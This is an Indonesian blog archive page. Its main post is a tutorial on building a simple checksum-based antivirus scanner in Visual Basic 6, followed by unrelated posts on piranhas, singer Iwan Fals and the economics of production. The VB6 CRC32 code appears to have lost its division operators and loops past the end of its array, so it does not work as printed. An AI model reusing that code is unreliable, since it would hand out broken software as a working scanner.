Tidak harus membeli software AV yang mahal untuk menjaga komputer kita dari ancaman virus, kita bisa membuatnya sendiri dengan fitur-fitur yang tak kalah bagusnya. Memang terdapat ketidaksempurnaan dalam AV buatan sendiri ini, tetapi setidaknya dapat dijadikan pencegah dari infeksi virus komputer yang semakin merajalela. Software AV sederhana ini dilengkapi oleh engine scanner statis dan database definisi.

jadi, kalo mw buad AV yang aseli buatan kamuw, Silakan coba deh.

cara membuat anti virus sederhana

Cara Kerja AV(Antivirus) sederhana..

1. Engine scanner, ini merupakan komponen utama AV dalam mengenali sebuah pattern virus. Engine ini dapat dikelompokkan menjadi statis dan dinamis. Statis dalam hal ini dapat disebut menjadi spesifik terhadap pattern tertentu dari sebuah file virus. Checksum merupakan salah satu contoh dari engine statis ini. Dinamis dalam artian dia mengenali perilaku ‘umum’ sebuah virus. Heuristic menjadi salah satu contohnya.
2. Database definition, menjadi sebuah referensi dari sebuah pattern file virus. Engine statis sangat bergantung kepada komponen ini.
3. Decompress atau unpacking engine, khusus untuk pengecekan file-file yang terkompresi (*.rar, *.zip, dll) atau kompresi atau packing untuk file PE seperti UPX, MeW , dll.

Tidak jarang hasil dari pengecekan terhadap file suspect virus menghasilkan false-positive bahkan false-negative (– false-positive berarti file yang bersih dianggap thread oleh AV, dan false-negative berarti file yang 100% thread akan dianggap bersih). Semua itu dapat diakibatkan oleh ketidak-sempurnaan dari engine scanner itu sendiri. Misal
pada contoh kasus Engine String scanner (–Engine scanner yang menyeleksi string-string dari file text-based), bila diterapkan rule 3 out of 5 (– bila AV menemukan 3 dari daftar 5 string kategori malicious) maka AV akan memberikan bahwa file terindikasi sebuah thread yang positif. Padahal file tsb nyatanya tidak menimbulkan efek berbahaya bila dijalankan atau dieksekusi. Kesalahan scanning macam ini lazim ditemukan untuk file-file *.VBS, *.HTML, dll. Untuk penggunaan engine checksum sangat banyak ditemui di beberapa software AV lokal. Checksum yang lazim digunakan diantaranya CRC16, CRC32, MD5, dll. Dikarenakan mudah untuk diimplementasikan. Engine ini sendiri bukannya tanpa cacat, Checksum bekerja dengan memproses byte demi byte dari sebuah file dengan sebuah algoritma tertenu (– tergantung dari jenis checksum yang digunakan) sehingga menghasilkan sebuah format tertentu dari file tsb. Contoh checksum menggunakan CRC32 dan MD5 :

* calCrc = CRC32(file_name_and_path)
* calMD5 = MD5(file_name_and_path)

Maka isi dari string calCrc adalah 7AF9E376, sedangkan untuk MD5nya adalah 529CA8050A00180790CF88B63468826A. Perlu diketahui bila virus menerapkan rutin yang mengubah byte tertentu dari badan virus tsb setiap kali maka penggunaan engine checksum ini akan kurang optimal karena bila 1 byte berubah dari file maka checksum juga akan berubah.

Mari kita belajar membuat sebuah AV sederhana, yang diperlukan :

1. Software Visual Basic 6.0
2. Sedikit pemahaman akan pemograman Visual Basic 6.0
3. Sampel file bersih atau virus (– opsional)

First#
Sekarang kita akan belajar membuat sebuah rutin sederhana untuk :
- Memilih file yang akan dicek
- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan Checksum

Buka MS-Visual Basic 6.0 anda, lalu buatlah sebuah class module dan Form dengan menambahkan sebuah objek Textbox, CommonDialog dan Command Button. (Objek CommonDialog dapat ditambahkan dengan memilih Project -> COmponent atau Ctrl-T dan memilih Microsoft Common Dialog Control 6.0) Ketikkan kode berikut pada class module (kita beri nama class module tsb clsCrc) :

================= START HERE ====================

Private crcTable(0 To 255) As Long ‘crc32

Public Function CRC32(ByRef bArrayIn() As Byte, ByVal lLen As Long, Optional ByVal lcrc As Long = 0) As Long

‘bArrayIn adalah array byte dari file yang dibaca, lLen adalah ukuran atau size file

Dim lCurPos As Long ‘Current position untuk iterasi proses array bArrayIn
Dim lTemp As Long ‘variabel temp hasil perhitungan

If lLen = 0 Then Exit Function ‘keluar fungsi apabila ukuran file = 0
lTemp = lcrc Xor &HFFFFFFFF

For lCurPos = 0 To lLen
lTemp = (((lTemp And &HFFFFFF00) &H100) And &HFFFFFF) Xor (crcTable((lTemp And 255) Xor bArrayIn(lCurPos)))
Next lCurPos

CRC32 = lTemp Xor &HFFFFFFFF

End Function

Private Function BuildTable() As Boolean
Dim i As Long, x As Long, crc As Long
Const Limit = &HEDB88320

For i = 0 To 255
crc = i
For x = 0 To 7
If crc And 1 Then
crc = (((crc And &HFFFFFFFE) 2) And &H7FFFFFFF) Xor Limit
Else
crc = ((crc And &HFFFFFFFE) 2) And &H7FFFFFFF
End If
Next x
crcTable(i) = crc
Next i
End Function

Private Sub Class_Initialize()
BuildTable
End Sub

================= END HERE ====================

Lalu ketikkan kode berikut dalam event Command1_Click :

================= START HERE ====================

Dim namaFileBuka As String, HasilCrc As String
Dim CCrc As New clsCrc ‘bikin objek baru dari class ClsCrc
Dim calCrc As Long
Dim tmp() As Byte ‘array buat file yang dibaca

Private Sub Command1_Click()
CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog
CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialog

On Error GoTo erorhandle ‘label error handle

CommonDialog1.ShowOpen
namafilbuka = CommonDialog1.FileName
Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary
ReDim tmp(LOF(1) - 1) As Byte ‘deklarasi ulang untuk array, # Bugs Fixed #
Get #1, , tmp()
Close #1

calCrc = UBound(tmp) ‘mengambil ukuran file dari array
calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRC

HasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric
Text1.Text = HasilCrc ‘tampilkan hasilnya
Exit Sub

erorhandle:
If Err.Number <> 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file

================= END HERE ====================

COba anda jalankan program diatas dengan memencet tombol F5, lalu klik Command1 untuk memilih dan membuka file. Maka program akan menampilkan CRC32nya.

Second#
Kode diatas dapat kita buat menjadi sebuah rutin pengecekan file suspect virus dengan antara membandingkan hasil CRC32nya dan database CRC kita sendiri. Algoritmanya adalah :
- Memilih file yang akan dicek
- Membuka file tersebut dalam mode binary
- Memproses byte demi byte untuk menghasilkan Checksum
- Buka file database
- Ambil isi file baris demi baris
- Samakan Checksum hasil perhitungan dengan checksum dari file

Format file database dapat kita tentukan sendiri, misal :
- FluBurung.A=ABCDEFGH
- Diary.A=12345678
Dimana FluBurung.A adalah nama virus dan ABCDEFGH dalah Crc32nya. Jika kita mempunyai format file seperti diatas, maka kita perlu membaca file secara sekuensial per baris serta memisahkan antara nama virus dan Crc32nya. Dalam hal ini yang menjadi pemisah adalah karakter ‘=’.
Buat 1 module baru (– diberi nama module1) lalu isi dengan kode :

================= START HERE ====================

Public namaVirus As String, CrcVirus As String ‘deklarasi variabel global untuk nama dan CRC virus Public pathExe as String ‘deklarasi variabel penyimpan lokasi file EXE AV kita

Public Function cariDatabase(Crc As String, namaFileDB As String) As Boolean
Dim lineStr As String, tmp() As String ‘variabel penampung untuk isi file
Open namaFileDB For Input As #1 ‘buka file dengan mode input
Do
Line Input #1, lineStr
tmp = Split(lineStr, “=”) ‘pisahkan isi file bedasarkan pemisah karakter ‘=’
namaVirus = tmp(0) ‘masukkan namavirus ke variabel dari array
CrcVirus = tmp(1) ‘masukkan Crcvirus ke variabel dari array
If CrcVirus = Crc Then ‘bila CRC perhitungan cocok/match dengan database
cariDatabase = True ‘kembalikan nilai TRUE
Exit Do ‘keluar dari perulangan
End If
Loop Until EOF(1)
Close #1
End Function

================= END HERE ====================

Lalu tambahkan 1 objek baru kedalam Form, yaitu Command button2. lalu ketikkan listing kode berikut kedalam event Command2_Click :

================= START HERE ====================
If Len(App.Path) <= 3 Then ‘bila direktori kita adalah root direktori
pathEXE = App.Path
Else
pathEXE = App.Path & “”
End If

CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog
CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialog

On Error GoTo erorhandle ‘label error handle

CommonDialog1.ShowOpen
namafilbuka = CommonDialog1.FileName
Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary
ReDim tmp(LOF(1) - 1) As Byte ‘deklarasi ulang untuk array # Bugs Fixed #
Get #1, , tmp()
Close #1

calCrc = UBound(tmp) ‘mengambil ukuran file dari array
calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRC

HasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric
If cariDatabase(HasilCrc, pathEXE & “DB.txt”) Then ‘bila fungsi bernilai TRUE
MsgBox “Virus ditemukan : ” & namaVirus ‘tampilkan message Box
End If
Exit Sub

erorhandle:
If Err.Number <> 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file

================= END HERE ====================

DevilG
12-18-2008, 07:24 PM
Fitur AV sederhana ini dapat ditambahkan dengan fitur process scanner, akses registry, real-time protection (RTP) dan lain lain. Untuk process scanner pada dasarnya adalah teknik enumerasi seluruh proses yang sedang berjalan pada Sistem Operasi, lalu mencari letak atau lokasi file dan melakukan proses scanning. Fitur akses registry memungkinkan kita untuk mengedit secara langsung registry windows apabila akses terhadap registry (–Regedit) diblok oleh virus. Sedangkan fitur RTP memungkinkan AV kita berjalan secara simultan dengan windows explorer untuk mengscan direktori atau file yang sedang kita browse atau lihat. Untuk ketiga fitur lanjutan ini akan dibahas pada artikel selanjutnya.

Kesimpulan#
Tidak harus membeli software AV yang mahal untuk menjaga komputer kita dari ancaman virus, kita bisa membuatnya sendiri dengan fitur-fitur yang tak kalah bagusnya. Memang terdapat ketidaksempurnaan dalam AV buatan sendiri ini, tetapi setidaknya dapat dijadikan pencegah dari infeksi virus komputer yang semakin merajalela. Software AV sederhana ini dilengkapi oleh engine scanner statis dan database definisi.

jadi, kalo mw buad AV yang aseli buatan kamuw, Silakan coba deh.

Jumat, 26 Februari 2010

hewan berorganisasi dalam hal berburu

IKAN SETAN BERNAMA PIRANHA




Desember 20, 2007 pada 6:54 am (Tak Berkategori)

Tags: perikanan



Intisari, No. 530 TH. XLIV

SEPTEMBER 2007



Bila berkelompok, ikan satu ini bisa berubah menjadi pemangsa nan kejam dan tak berperasaan. Bayangkan, hanya dalam hitungan menit, mangsa seberat belasan, bahkan puluhan kilogram ludes dilumat, yang tersisa hanya tulang belulang.



Penulis: Dharnoto

Bangkai ayam kupas itu lunglai tenggelam ke dalam akuarium. Tak lama kemudian, sekitar 3.000 ikan piranha muncul dari berbagai arah, berenangan dengan liar dan agresif, mengambil formasi pengintaian. Seekor di antara mereka berinisiatif jadi “provokator”, mendekati mangsa, lalu melakukan gigitan pertama. Ia lalu bak memberi kode – mungkin secara akustik – yang hanya bisa dipahami bangsanya sendiri, untuk “menyerbu”.



Dalam sekejap, mangsa digerumuti ribuan ikan seukuran 10 – 20 cm. Selesai makan, mereka berhamburan. Si mangsa berubah jadi tulang belulang, hanya dalam tempo 90 detik! Nasib serupa juga dialami ikan tongkol dan ikan kembung yang sama-sama dimangsakan, pada lain kesempatan. Sekali makan, 5 kg ikan digasak habis. Bayangkan, jika sehari tiga kali makan, berarti 12 – 16 kg ikan siap ditulangkan.



Gigi setajam silet

Piranha memang tak pernah berubah. Warga asli sungai Amazone, Amerika Selatan ini selalu ganas, seperti di habitat aslinya. Tak peduli mereka sedang dikurung dalam salah satu akuarium di Seaworld Indonesia, Ancol, Jakarta, seperti diilustrasikan di atas.



Dengan tampilan mirip ikan bawal (mereka memang satu kerabat), tampang piranha sebenarnya jauh dari sadis. Malah sisiknya seperti ber-glitter. Dua garis hitam di pangkal ekor membedakannya dengan bawal yang cuma punya satu garis. Warna sisiknya perak keabuan hingga kehitaman. Bagian tutup insang sampai bagian bawahnya ada semburat kemerahan. Piranha merah (pygocentrus nattereri) yang ada di Ancol, perutnya bersaput warna merah oranye.



Kalau sedang sendirian, ia tak ubahnya ikan hias manis laku. “Kalau dibawah 10 ekor, ia seperti ikan oscar, atau arwana. Meski karnivora, tapi enggak galak-galak banget,” ujar seorang pemelihara ikan hias. “Belangnya” baru kelihatan jika sedang santap bersama dengan kelompoknya, yang minimal berjumlah 100 ekor.
alamat web:http://klipingut.wordpress.com/2007/12/20/ikan-setan-bernama-piranha/

Senin, 22 Februari 2010

softskill bang iwan fals

soft skill tokoh yang di banggakan di indonesia dlam hal music

Lewat lagu-lagunya, ia ‘memotret’ suasana sosial kehidupan Indonesia (terutama Jakarta) di akhir tahun 1970-an hingga sekarang. Kritik atas perilaku sekelompok orang (seperti Wakil Rakyat, Tante Lisa), empati bagi kelompok marginal (misalnya Siang Seberang Istana, Lonteku), atau bencana besar yang melanda Indonesia (atau kadang-kadang di luar Indonesia, seperti Ethiopia) mendominasi tema lagu-lagu yang dibawakannya. Iwan Fals tidak hanya menyanyikan lagu ciptaannya tetapi juga sejumlah pencipta lain.
Iwan yang juga sempat aktif di kegiatan olahraga, pernah meraih gelar Juara II Karate Tingkat Nasional, Juara IV Karate Tingkat Nasional 1989, sempat masuk pelatnas dan melatih karate di kampusnya, STP (Sekolah Tinggi Publisistik). Iwan juga sempat menjadi kolumnis di beberapa tabloid olah raga.
Kharisma seorang Iwan Fals sangat besar. Dia sangat dipuja oleh kaum ‘akar rumput’. Kesederhanaannya menjadi panutan para penggemarnya yang tersebar diseluruh nusantara. Para penggemar fanatik Iwan Fals bahkan mendirikan sebuah yayasan pada tanggal 16 Agustus 1999 yang disebut Yayasan Orang Indonesia atau biasa dikenal dengan seruan Oi. Yayasan ini mewadahi aktivitas para penggemar Iwan Fals. Hingga
Masa kecil Iwan Fals dihabiskan di Bandung, kemudian ikut saudaranya di Jeddah, Arab Saudi selama 8 bulan. Bakat musiknya makin terasah ketika ia berusia 13 tahun, di mana Iwan banyak menghabiskan waktunya dengan mengamen di Bandung. Bermain gitar dilakukannya sejak masih muda bahkan ia mengamen untuk melatih kemampuannya bergitar dan mencipta lagu. Ketika di SMP, Iwan menjadi gitaris dalama paduan suara sekolah.
Selanjutnya, datang ajakan untuk mengadu nasib di Jakarta dari seorang produser. Ia lalu menjual sepeda motornya untuk biaya membuat master. Iwan rekaman album pertama bersama rekan-rekannya, Toto Gunarto, Helmi, Bambang Bule yang tergabung dalam Amburadul, namun album tersebut gagal di pasaran dan Iwan kembali menjalani profesi sebagai pengamen. Album ini sekarang menjadi buruan para kolektor serta fans fanatik Iwan Fals.
Setelah dapat juara di festival musik country, Iwan ikut festival lagu humor. Arwah Setiawan (almarhum), lagu-lagu humor milik Iwan sempat direkam bersama Pepeng, Krisna, Nana Krip dan diproduksi oleh ABC Records, tapi juga gagal dan hanya dikonsumsi oleh kalangan tertentu saja. Sampai akhirnya, perjalanan Iwan bekerja sama dengan Musica Studio. Sebelum ke Musica, Iwan sudah rekaman sekitar 4-5 album. Di Musica, barulah lagu-lagu Iwan digarap lebih serius. Album Sarjana Muda, misalnya, musiknya ditangani oleh Willy Soemantri.
Iwan tetap menjalani profesinya sebagai pengamen. Ia mengamen dengan mendatangi rumah ke rumah, kadang di Pasar Kaget atau Blok M. Album Sarjana Muda ternyata banyak diminati dan Iwan mulai mendapatkan berbagai tawaran untuk bernyanyi. Ia kemudian sempat masuk televisi setelah tahun 1987. Saat acara Manasuka Siaran Niaga disiarkan di TVRI, lagu Oemar Bakri sempat ditayangkan di TVRI. Ketika anak kedua Iwan, Cikal lahir tahun 1985, kegiatan mengamen langsung dihentikan.
Selama Orde Baru, banyak jadwal acara konser Iwan yang dilarang dan dibatalkan oleh aparat pemerintah, karena lirik-lirik lagunya dianggap dapat memancing kerusuhan. Pada awal karirnya, Iwan Fals banyak membuat lagu yang bertema kritikan pada pemerintah. Beberapa lagu itu bahkan bisa dikategorikan terlalu keras pada masanya, sehingga perusahaan rekaman yang memayungi Iwan Fals enggan atau lebih tepatnya tidak berani memasukkan lagu-lagu tersebut dalam album untuk dijual bebas. Belakangan Iwan Fals juga mengakui kalau pada saat itu dia sendiri juga tidak tertarik untuk memasukkan lagu-lagu ini ke dalam album.[rujukan?]
Rekaman lagu-lagu yang tidak dipasarkan tersebut kemudian sempat diputar di sebuah stasiun radio yang sekarang sudah tidak mengudara lagi. Iwan Fals juga pernah menyanyikan lagu-lagu tersebut dalam beberapa konser musik, yang mengakibatkan dia berulang kali harus berurusan dengan pihak keamanan dengan alasan lirik lagu yang dinyanyikan dapat mengganggu stabilitas negara.[rujukan?] Beberapa konser musiknya pada tahun 80-an juga sempat disabotase dengan cara memadamkan aliran listrik dan pernah juga dibubarkan secara paksa hanya karena Iwan Fals membawakan lirik lagu yang menyindir penguasa saat itu.
Pada bulan April tahun 1984 Iwan Fals harus berurusan dengan aparat keamanan dan sempat ditahan dan diinterogasi selama 2 minggu gara-gara menyanyikan lirik lagu Demokrasi Nasi dan Pola Sederhana juga Mbak Tini pada sebuah konser di Pekanbaru. Sejak kejadian itu, Iwan Fals dan keluarganya sering mendapatkan teror.[rujukan?] Hanya segelintir fans fanatik Iwan Fals yang masih menyimpan rekaman lagu-lagu ini, dan sekarang menjadi koleksi yang sangat berharga.
Saat bergabung dengan kelompok SWAMI dan merilis album bertajuk SWAMI pada 1989, nama Iwan semakin meroket dengan mencetak hits Bento dan Bongkar yang sangat fenomenal. Perjalanan karir Iwan Fals terus menanjak ketika dia bergabung dengan Kantata Takwa pada 1990 yang didukung penuh oleh pengusaha Setiawan Djodi. Konser-konser Kantata Takwa saat itu sampai sekarang dianggap sebagai konser musik yang terbesar dan termegah sepanjang sejarah musik Indonesia.[rujukan?]
Setelah kontrak dengan SWAMI yang menghasilkan dua album (SWAMI dan SWAMI II) berakhir, dan disela Kantata (yang menghasilkan Kantata Takwa dan Kantata Samsara), Iwan Fals masih meluncurkan album-album solo maupun bersama kelompok seperti album Dalbo yang dikerjakan bersama sebagian mantan personil SWAMI.
Sejak meluncurnya album Suara Hati pada 2002, Iwan Fals telah memiliki kelompok musisi pengiring yang tetap dan selalu menyertai dalam setiap pengerjaan album maupun konser. Menariknya, dalam seluruh alat musik yang digunakan baik oleh Iwan fals maupun bandnya pada setiap penampilan di depan publik tidak pernah terlihat merek maupun logo. Seluruh identitas tersebut selalu ditutupi atau dihilangkan. Pada panggung yang menjadi dunianya, Iwan Fals tidak pernah mengizinkan ada logo atau tulisan sponsor terpampang untuk menjaga idealismenya yang tidak mau dianggap menjadi wakil dari produk tertentu.[rujukan?]
Keluarga
Iwan lahir dari Lies (ibu) dan mempunyai ayah tiri Haryoso (almarhum). Iwan menikahi Rosanna (Mbak Yos) dan mempunyai anak Galang Rambu Anarki (almarhum), Annisa Cikal Rambu Basae, dan Rayya Rambu Robbani.
Galang mengikuti jejak ayahnya terjun di bidang musik. Walaupun demikian, musik yang ia bawakan berbeda dengan yang telah menjadi trade mark ayahnya. Galang kemudian menjadi gitaris kelompok Bunga dan sempat merilis satu album perdana menjelang kematiannya.
Nama Galang juga dijadikan salah satu lagu Iwan, berjudul Galang Rambu Anarki pada album Opini, yang bercerita tentang kegelisahan orang tua menghadapi kenaikan harga-harga barang sebagai imbas dari kenaikan harga BBM pada awal tahun 1981 yaitu pada hari kelahiran Galang (1 Januari 1981).
Nama Cikal sebagai putri kedua juga diabadikan sebagai judul album dan judul lagu Iwan Fals yang terbit tahun 1991. Sebelumnya Cikal juga pernah dibuatkan lagu dengan judul Anissa pada tahun 1986. Rencananya lagu ini dimasukkan dalam album Aku Sayang Kamu, namun dibatalkan. Lirik lagu ini cukup kritis sehingga perusahaan rekaman batal menyertakannya. Pada cover album Aku Sayang Kamu terutama cetakan awal, pada bagian penata musik masih tertulis kata Anissa.
Galang Rambu Anarki meninggal pada bulan April 1997 secara mendadak yang membuat aktivitas bermusik Iwan Fals sempat vakum selama beberapa tahun. Galang dimakamkan di pekarangan rumah Iwan Fals di desa Leuwinanggung, Cimanggis, Depok Jawa Barat. Sepeninggal Galang, Iwan sering menyibukkan diri dengan melukis dan berlatih bela diri.(
Pada tahun 2002 Iwan mulai aktif lagi membuat album setelah sekian lama menyendiri dengan munculnya album Suara Hati yang di dalamnya terdapat lagu Hadapi Saja yang bercerita tentang kematian Galang Rambu Anarki. Pada lagu ini istri Iwan Fals (Yos) juga ikut menyumbangkan suaranya.
Sejak meninggalnya Galang Rambu Anarki, warna dan gaya bermusik Iwan Fals terasa berbeda. Dia tidak segarang dan seliar dahulu. Lirik-lirik lagunya terkesan lebih dewasa dan puitis.[rujukan?] Iwan Fals juga lebih banyak membawakan lagu-lagu bertema cinta baik karangannya sendiri maupun dari orang lain.
Pada tanggal 22 Januari 2003, Iwan Fals dianugrahi seorang anak lelaki yang diberi nama Rayya Rambu Robbani. Kelahiran putra ketiganya ini seakan menjadi pengganti almarhum Galang Rambu Anarki dan banyak memberi inspirasi dalam dunia musik seorang Iwan Fals.[rujukan?]
Di luar musik dan lirik, penampilan Iwan Fals juga berubah total. Saat putra pertamanya meninggal dunia Iwan Fals mencukur habis rambut panjangnya hingga gundul. Sekarang dia berpenampilan lebih bersahaja, rambut berpotongan rapi disisir juga kumis dan jenggot yang dihilangkan. Dari sisi pakaian, dia lebih sering menggunakan kemeja yang dimasukkan pada setiap kesempatan tampil di depan publik, sangat jauh berbeda dengan penampilannya dahulu yang lebih sering memakai kaus oblong bahkan bertelanjang dada dengan rambut panjang tidak teratur dan kumis tebal.
Peranan istrinya juga menjadi penting sejak putra pertamanya tiada. Rossana menjadi manajer pribadi Iwan Fals yang mengatur segala jadwal kegiatan dan kontrak. Dengan adanya Iwan Fals Manajemen (IFM), Fals lebih profesional dalam berkarir.
Pendidikan
* SMPN 5 Bandung
* SMAK BPK Bandung
* STP (Sekolah Tinggi Publisistik, sekarang IISIP)
* Institut Kesenian Jakarta (IKJ)
Diskografi
Tidak seluruh album yang dikeluarkan Iwan Fals berisi lagu baru. Pada tahun-tahun terakhir, Iwan Fals sering mengeluarkan rilis ulang lagu-lagu lamanya, baik dengan aransemen asli maupun dengan aransemen ulang. Pada tahun-tahun terakhir ini pula Iwan Fals lebih banyak memilih berkolaborasi dengan musisi muda berbakat.
Banyak lagu Iwan Fals yang tidak dijual secara bebas. Lagu-lagu tersebut menjadi koleksi ekslusif para penggemarnya dan kebanyakan direkam secara live. Beberapa lagu Iwan Fals yang tidak dikomersialkan seperti lagu ‘Pulanglah’ yang dinyanyikan khusus untuk almarhum Munir ternyata sangat digemari yang akhirnya direkam ulang dan dimasukkan kedalam album terbarunya yang beredar di tahun 2007.
Album
* Canda Dalam Nada (1979)
* Canda Dalam Ronda (1979)
* Perjalanan (1979)
* 3 Bulan (1980)
* Sarjana Muda (1981)
* Opini (1982)
* Sumbang (1983)
* Barang Antik (1984)
* Sugali (1984)
* KPJ (Kelompok Penyanyi Jalanan) (1985)
* Sore Tugu Pancoran (1985)
* Aku Sayang Kamu (1986)
* Ethiopia (1986)
* Lancar 1987 (1987)
* Wakil Rakyat (1988)
* 1910 (1988)
* Antara Aku, Kau Dan Bekas Pacarmu (1988)
* Mata Dewa (1989)
* Swami I (1989)
* Kantata Takwa (1990)
* Cikal (1991)
* Swami II (1991)
* Belum Ada Judul (1992)
* Hijau (1992)
* Dalbo (1993)
* Anak Wayang (1994)
* Orang Gila (1994)
* Lagu Pemanjat (bersama Trahlor) (1996)
* Kantata Samsara (1998)
* Best Of The Best (2000)
* Suara Hati (2002)
* In Collaboration with (2003)
* Manusia Setengah Dewa (2004)
* Iwan Fals in Love (2005)
* 50:50 (2007)
Singel
* Serenade (bersama Ritta Rubby) (1984)
* Kemesraan (bersama artis Musica) (1988)
* Percayalah Kasih (bersama Jockie Surjoprajogo dan Vina Panduwinata)
* Terminal (bersama Franky S.) (1994)
* Mata Hati (bersama Ian Antono) (1995)
* Orang Pinggiran (bersama Franky S.) (1995)
* Katakan Kita Rasakan (bersama artis Musica)
* Di Bawah Tiang Bendera (bersama artis Musica) (1996)
* Haruskah Pergi (bersama Indra Lesmana dan Import Musik) (2006)
* Selancar (bersama Indra Lesmana dan Import Musik) (2006)
* Tanam Tanam Siram Siram (Kampanye Indonesia Menanam) (2006)
* Marilah Kemari (Tribute to Titiek Puspa) (2006)
* Aku Milikmu (Original Soundtrack Lovers / Kekasih) (2008)
Single Hits yang dibawakan penyanyi lain
* Maaf (dibawakan oleh Ritta Rubby) (1986)
* Belailah (dibawakan oleh Ritta Rubby) (1986)
* Trauma (dibawakan oleh God Bless) (1988)
* Damai Yang Hilang (dibawakan oleh God Bless) (1988)
* Orang Dalam Kaca (dibawakan oleh God Bless) (1988)
* Pak Tua (dibawakan oleh grup band Elpamas) (1991)
* Oh (dibawakan oleh Fajar Budiman) (1994)
* Menangis (dibawakan oleh Franky S.)
Album kompilasi
* Tragedi
* Banjo & Harmonika
* Celoteh-celoteh
* Celoteh-celoteh 2
* Country
* Tembang Cinta (1990)
* Akustik
* Akustik Ke-2 (1997)
* Salam Reformasi (1998)
* Salam Reformasi 2 (1999)
* Prihatin (2000)
Film
* Damai Kami Sepanjang Hari (1985)
* Kantata Takwa – The Movie (1990)
* Kekasih (2008)
Lagu yang tidak beredar
* Demokrasi Nasi (1978)
* Semar Mendem (1978)
* Pola Sederhana (Anak Cendana) (1978)
* Mbak Tini (1978)
* Siti Sang Bidadari (1978)
* Kisah Sapi Malam (1978)
* Mince Makelar (1978)
* Anissa (1986)
* Oh Indonesia (1992)
* Imelda Mardun (1992)
* Maumere (1993)
* Joned (1993)
* Merdeka (1995)
* Suhu (1997)
* Mencari Kata Kata (1998)
* Sketsa Setan Yang Bisu (2000)
* Kemarau (2003)
* Lagu Sedih (2003)
* Kembali Ke Masa Lalu (2003)
* Harapan Tak Boleh Mati (2004)
* Saat Minggu Masih Pagi (2004)
* Repot Nasi (2005)
* Jendral Tua (2008)
Penghargaan
1. Juara harapan Lomba Musik Humor (1979).
2. Juara I Festival Musik Country (1980).
3. Gold record, lagu Oemar Bakri, PT. Musica Studio’s.
4. Silver record, penyanyi & pencipta lagu Ethiopia, PT. Musica Studio’s.
5. Penghargaan prestasi artis HDX 1987 – 1988, pencipta lagu Buku Ini Aku Pinjam.
6. Penyanyi pujaan, BASF, (1989).
7. The best selling, album Mata Dewa, BASF, 1988 – 1989.
8. Penyanyi rekaman pria terbaik, album Anak Wayang, BASF Award XI, 18 April 1996.
9. Penyanyi solo terbaik Country/Balada, Anugrah Musik Indonesia – 1999.
10. Presents This Certificate To Iwan Fals In Recognition Of The Contribution To Cultural Exchange Between Korea and Indonesia,
25 September 1999.
11. Penyanyi solo terbaik Country/Balada AMI Sharp Award (2000).
12. Video klip terbaik lagu Entah, Video Musik Indonesia periode VIII – 2000/2001.
13. Triple Platinum Award, Album Best Of The Best Iwan Fals, PT. Musica Studio’s – Juni 2002.
14. 6th AMI Sharp Award, album terbaik Country/Balada.
15. 6th AMI Sharp Award, artis solo/duo/grup terbaik Country/Balada.
16. Pemenang video klip terbaik edisi – Juli 2002, lagu Kupu-Kupu Hitam Putih, Video Musik Indonesia, periode I– 2002/2003.
17. Penghargaan album In Collaboration with, angka penjualan diatas 150.000 unit, PT. Musica Studio’s – Juni 2003.
18. Triple Platinum Award, album In Collaboration with, angka penjualan diatas 450.000 unit, PT. Musica Studio’s – November 2003.
19. 7th AMI Award 2003, Legend Awards.
20. 7th AMI Award 2003, Penyanyi Solo Pria Pop Terbaik.
21. Penghargaan MTV Indonesia 2003, Most Favourite Male.
22. SCTV Music Award 2004, album Ngetop! (pop) In Collaboration with.
23. SCTV Music Award 2004, Penyanyi Pop Ngetop.
24. Anugrah Planet Muzik 2004.
25. Generasi Biang Extra Joss – 2004.
26. 8th AMI Samsung Award, Karya Produksi Balada Terbaik.
27. SCTV Music Award 2005, album pop solo ngetop Iwan Fals In Love.
28. With The Compliment Of Metro TV.
29. Partisipasi dalam acara konser Salam Lebaran 2005, PT. Gudang Garam Indonesia.
kesimpulannya bang iwan dalam lagunya itu mengkritik pejabat dan pemerintah
softskillnya dalam lagu pun ia dapat mengkritik pemerintah

Selasa, 05 Januari 2010

tugas manajemen umum

Produksi

Dari Wikipedia bahasa Indonesia, ensiklopedia bebas

Langsung ke: navigasi, cari
Produksi merupakan suatu kegiatan yang dikerjakan untuk menambah nilai guna suatu benda atau menciptakan benda baru sehingga lebih bermanfaat dalam memenuhi kebutuhan. Kegiatan menambah daya guna suatu benda tanpa mengubah bentuknya dinamakan produksi jasa. Sedangkan kegiatan menambah daya guna suatu benda dengan mengubah sifat dan bentuknya dinamakan produksi barang. Produksi bertujuan untuk memenuhi kebutuhan manusia untuk mencapai kemakmuran. Kemakmuran dapat tercapai jika tersedia barang dan jasa dalam jumlah yang mencukupi.

Faktor produksi

Dari Wikipedia bahasa Indonesia, ensiklopedia bebas

Langsung ke: navigasi, cari
Dalam ilmu ekonomi, faktor produksi adalah sumber daya yang digunakan dalam sebuah proses produksi barang dan jasa. Pada awalnya, faktor produksi dibagi menjadi empat kelompok, yaitu tenaga kerja, modal, sumber daya alam, dan kewirausahaan. Namun pada perkembangannya, faktor sumber daya alam diperluas cakupannya menjadi seluruh benda tangible, baik langsung dari alam maupun tidak, yang digunakan oleh perusahaan, yang kemudian disebut sebagai faktor fisik (physical resources). Selain itu, beberapa ahli juga menganggap sumber daya informasi sebagai sebuah faktor produksi mengingat semakin pentingnya peran informasi di era globalisasi ini.(Griffin R: 2006) Secara total, saat ini ada lima hal yang dianggap sebagai faktor produksi, yaitu tenaga kerja (labor), modal (capital), sumber daya fisik (physical resources), kewirausahaan (entrepreneurship), dan sumber daya informasi (information resources).

Sumber daya fisik

Faktor produksi fisik ialah semua kekayaan yang terdapat di alam semesta dan barang mentah lainnya yang dapat digunakan dalam proses produksi. Faktor yang termasuk di dalamnya adalah tanah, air, dan bahan mentah (raw material).

Tenaga kerja

